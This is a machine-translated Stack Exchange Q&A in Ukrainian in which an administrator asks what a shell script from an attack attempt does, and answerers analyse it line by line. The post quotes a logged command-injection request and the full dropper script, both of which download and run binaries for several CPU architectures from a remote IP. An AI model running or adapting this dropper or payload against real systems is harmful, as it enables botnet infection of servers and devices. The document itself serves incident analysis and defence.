Що робить цей сценарій bash? [Спроба злому]


31

Останнім часом я помічав на своїх серверах журнали apache, такі дивні рядки:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Тож я створив спеціальний фільтр Fail2Ban і почав забороняти IP-адреси із запитом цих URL-адрес /login.cgi.

Але мені було цікаво, що вони намагаються зробити, тому я витягнув сценарій, який вони намагаються виконати, і я не можу зрозуміти, що саме це робить. Щось про видалення аркових папок у / var та / tmp?

У всякому разі, ось це:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
Як цей скрипт потрапив у першу чергу на ваш сервер?
MrWhite

3
Я просто відкриваю .sh файл у браузері на своєму домашньому ПК та копіюю та вставляю його сюди, він ніколи насправді не потрапляв на мій сервер.
ndom91

1
Цей сценарій є "крапельницею", яка використовується для завантаження фактичного сценарію експлуатації. Він буде розташований hxxp://80.211.173.159:80/$nameтам, де $nameзнаходиться кожна з архітектур процесора bin_names. Так буде завантажено та виконано 7 сценаріїв атаки
BlueCacti

Відповіді:


42

Рядок за рядком:

#!/bin/sh

Встановлює shоболонку, що б не було, як лінію шебанга. sh%20/tmp/ksу запиті це відміняє, тому цей рядок трактується як звичайний коментар і ігнорується.

u="asgknskjdgn"

Оголошує довільну назву, імовірно, щоб уникнути зіткнення з іншими іменами. Я не впевнений, чому вони не просто використовуватимуть mktemp, але, можливо, це є не на всіх платформах.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Перераховує кілька загальних архітектур процесора.

http_server="80.211.173.159"
http_port=80

Сервер, який має експлуатування.

cd /tmp/||cd /var/

Намагається змінити каталог на десь ваш веб-сервер, ймовірно, зможе створити файли. Я вважаю, що SELinux допоможе у цьому, застосовуючи набагато більш жорсткі правила щодо того, що може зробити веб-сервер, ніж файлова система сама по собі.

for name in $bin_names
    do

Для кожної архітектури процесора ...

    rm -rf $u

Видаляє раніше випробувані програми експлуатування. Не потрібне через наступний рядок, тому його можна ігнорувати.

    cp $SHELL $u

Копіює поточний виконуваний оболонку ( /bin/sh). Можна ігнорувати через рядок після наступного.

    chmod 777 $u

Змушує всіх мати повний доступ до нового файлу. Це повинно було бути після wgetкоманди, яка є або ознакою сценарію оболонки сценарію новачка, або технікою неправильного спрямування.

    >$u

Виправляє файл. Безглуздо через наступний рядок.

    wget http://$http_server:$http_port/$name -O -> $u

Перезаписує файл із сценарієм експлуатації для цієї архітектури. -O -> $uмогла бути написана -O - > $u(дефіс вказує, що завантаження слід записати на стандартний вихід), що еквівалентно -O $u.

    ./$u $name

Запускає сценарій експлуатування з архітектурою як перший аргумент.

done

Закінчується петля.

Схоже, це тривіальний сценарій спроби експлуатування, намагаючись відомі подвиги проти різних платформ процесора. Я не знаю, чому він перезаписується $uтри рази, але ці операції можуть бути просто залишками попередньої ітерації сценарію. Імовірно, що в попередній версії експлуатування було жорстко кодованим, а не динамічно обслуговуваним - перший простіше, але майже гарантує, що сценарій буде менш ефективним з часом, коли помилки будуть виправлені.


21
Існує перевага в явній передачі файлу. Якщо призначення вже існує і виконується зараз, ядро ​​не дозволить вам відкрити файл для запису (-ETXTBSY). Однак перейменування або видалення запущеної програми дозволяється.
grawity

Що робить ->в wgetкоманді робити? Чому б не просто wget ... -O $u?
RonJohn

1
@RonJohn читав це як- >
кіт

5
З -O->filename, filenameне відображається на виході ps ax . Це може бути перевагою, щоб зробити налагодження важче.
пт

1
cpДає виконуваний файл. Можливо, корисно, якщо chmodне вдасться? Редагувати: враховуючи, що, мабуть, це орієнтовано на маршрутизатори, цілком можливо, що chmodне існує.
Боб

12

wgetЄ ключем небезпечної лінії.

The for name in $bin_namesопрацьовує список платформ і для кожної платформи очищає тимчасовий каталог, копіює оболонку і потім робить її доступною для всіх.

Потім він завантажує файл за допомогою, wgetа потім виконує його за допомогою програми оболонки, яку він просто скопіював.

В основному сценарій намагається завантажити серію виконуваних файлів або сценаріїв для кожної платформи, яку вона може, і протираючи їх вашою системою, сподіваючись, що це може ще більше скомпрометувати вашу систему.


6
натирання == біг?
Бармар

5
@Barmar Я впевнений, що це було навмисно: P
Канадський Люк ВІДНОВЛЕННЯ МОНИЦИ
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.